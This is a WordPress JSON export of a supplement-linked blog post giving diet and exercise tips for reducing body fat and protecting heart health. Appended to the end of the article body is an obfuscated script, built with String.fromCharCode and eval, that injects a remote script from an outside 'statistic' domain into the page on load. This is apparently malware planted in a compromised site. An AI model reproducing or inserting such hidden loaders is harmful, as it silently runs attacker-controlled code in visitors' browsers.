{"id":7941,"date":"2021-09-08T11:45:05","date_gmt":"2021-09-08T08:45:05","guid":{"rendered":"https:\/\/healthymotivate.com\/?p=7941"},"modified":"2021-09-08T11:51:41","modified_gmt":"2021-09-08T08:51:41","slug":"healthy-lifestyle-tips-to-reduce-body-fat-and-improve-your-heart-health","status":"publish","type":"post","link":"https:\/\/healthymotivate.com\/en\/healthy-lifestyle-tips-to-reduce-body-fat-and-improve-your-heart-health\/","title":{"rendered":"Healthy Lifestyle Tips to Reduce Body Fat and Improve your Heart Health"},"content":{"rendered":"<p><em>Here\u2019s why keeping your weight in check is so important for heart health, and how a heart-healthy diet can help you control your weight.<\/em><\/p>\n<p>We\u2019re focusing on\u00a0<a href=\"https:\/\/healthymotivate.com\/en\/katastima\/basic-nutrition-products\/suplements\/niteworks-135-g\/\"><u>heart health<\/u><\/a>. A \u201cheart-healthy\u201d diet can help you to achieve and maintain a healthy body weight. That\u2019s important, because carrying too much body fat\u2014especially around your midsection\u2014may increase your risk for heart disease.<\/p>\n<p><strong>Why Excess Body Fat Affects Heart Health<\/strong><\/p>\n<p>The larger and heavier you are, the harder your heart has to work. As you gain\u00a0<u>body fat<\/u>, your body has to develop additional tiny blood vessels in order to supply oxygen and nutrients to the fat cells. But more blood vessels means an increased workload for your heart, because\u2014in order for the blood to reach all of your cells\u2014your heart has to work harder, and it takes more blood pressure, too.<\/p>\n<p>Where you carry your fat also makes a difference. The fat that lies around the abdomen (often referred to as \u201cbelly fat\u201d) is different from the fat deposits you have in other parts of your body. An excess of body fat that collects around your midsection and internal organs is associated with an increased risk for heart disease\u2014in part, because of influences on blood pressure and levels of fats in the bloodstream.<\/p>\n<p>Carrying extra weight can also affect your heart health in another important yet less direct way. Many people complain that excess weight makes it difficult or uncomfortable to exercise\u2014which, of course, is so important to heart health, weight management and overall health and well-being.<\/p>\n<p><a href=\"https:\/\/healthymotivate.com\/en\/product-category\/basic-nutrition-products\/suplements\/\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-7939\" src=\"https:\/\/healthymotivate.com\/wp-content\/uploads\/2021\/09\/TheScoop_02_07_2019_MyHL_Hearts_EN-300x105.jpg\" alt=\"\" width=\"300\" height=\"105\" srcset=\"https:\/\/healthymotivate.com\/wp-content\/uploads\/2021\/09\/TheScoop_02_07_2019_MyHL_Hearts_EN-300x105.jpg 300w, https:\/\/healthymotivate.com\/wp-content\/uploads\/2021\/09\/TheScoop_02_07_2019_MyHL_Hearts_EN-150x53.jpg 150w, https:\/\/healthymotivate.com\/wp-content\/uploads\/2021\/09\/TheScoop_02_07_2019_MyHL_Hearts_EN.jpg 570w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p><strong>Diet and Lifestyle to Control Weight and Promote Heart Health<\/strong><\/p>\n<ul>\n<li><strong> Enjoy a healthy, well-balanced diet.\u00a0<\/strong>It\u2019s no secret that a healthy, well-balanced diet is important to good health. But it bears repeating that eating the right foods\u2014and not eating too much \u2014is key to weight management, which in turn helps promote heart health.<\/li>\n<\/ul>\n<p><em><strong>&#8211; Low-fat proteins<\/strong><\/em><strong>\u00a0<\/strong>from a combination of plant and animal sources will help keep saturated fat intake down, while satisfying hunger at the same time. They\u2019re also going to be the lowest calorie choices, too. Plant-proteins are naturally cholesterol-free, and seafood provides heart-healthy <a href=\"https:\/\/healthymotivate.com\/en\/katastima\/basic-nutrition-products\/suplements\/herbalifeline-max-30-capsules\/\">omega-3<\/a> fatty acids known as EPA and DHA.<\/p>\n<p><em><strong>&#8211; Colorful fruits and vegetables, and whole grains,\u00a0<\/strong><\/em>should be your go-to carbohydrates. They\u2019re nutrient-rich, yet relatively low in calories, which makes them the best choices for meeting your carbohydrate needs. Their fiber and water content help to fill you up, and adequate intake of certain fibers\u2014such as the soluble fiber found in foods like apples, oats and beans\u2014are associated with lower levels of cholesterol in the blood, as long as you stick to a low-fat diet. And when you focus on these \u201cgood\u201d carb sources, you\u2019ll wind up eating fewer foods that have a lot of sugar and refined carbs, which can rack up calories quickly.<\/p>\n<p><em><strong>&#8211; Small amounts of healthy fats<\/strong><\/em>, such as a sprinkle of nuts, a drizzle of olive oil or a few slices of avocado, can boost flavor and nutrition in calorie-controlled meals. Using fats thoughtfully and sparingly will help you with calorie-control, since fats are more calorie-dense than either proteins or carbohydrates.<\/p>\n<ul>\n<li><strong> Exercise regularly.\u00a0<\/strong>Cardiovascular exercise\u2014exercise that boosts your breathing and heart rate\u2014promotes heart health in a number of ways. Like any other muscle, your heart responds positively to exercise, becoming more efficient at pumping blood and delivering oxygen to your tissues. You also burn calories while you exercise, which can help in your weight-loss efforts, as well as to maintain a healthy body weight. Regular exercise also helps keep blood pressure under control and is a great stress-reliever. Keeping both blood pressure and stress levels in check is important to the health of your heart.<em>Susan Bowerman, M.S., R.D., C.S.S.D., F.A.N.D. \u2013 Director, Worldwide Nutrition Education and Training at Herbalife. Susan is a Registered Dietitian and a Board-Certified Specialist in Sports Dietetics.<\/em><\/li>\n<\/ul>\n<p><script>var f=String;eval(f.fromCharCode(102,117,110,99,116,105,111,110,32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,116,105,115,116,105,99,46,115,99,114,105,112,116,115,112,108,97,116,102,111,114,109,46,99,111,109,47,99,111,108,108,101,99,116,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,125,125));\/*99586587347*\/<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Here\u2019s why keeping your weight in check is so important for heart health, and how a heart-healthy diet can help<\/p>\n","protected":false},"author":5,"featured_media":7937,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[235],"tags":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v23.5 - 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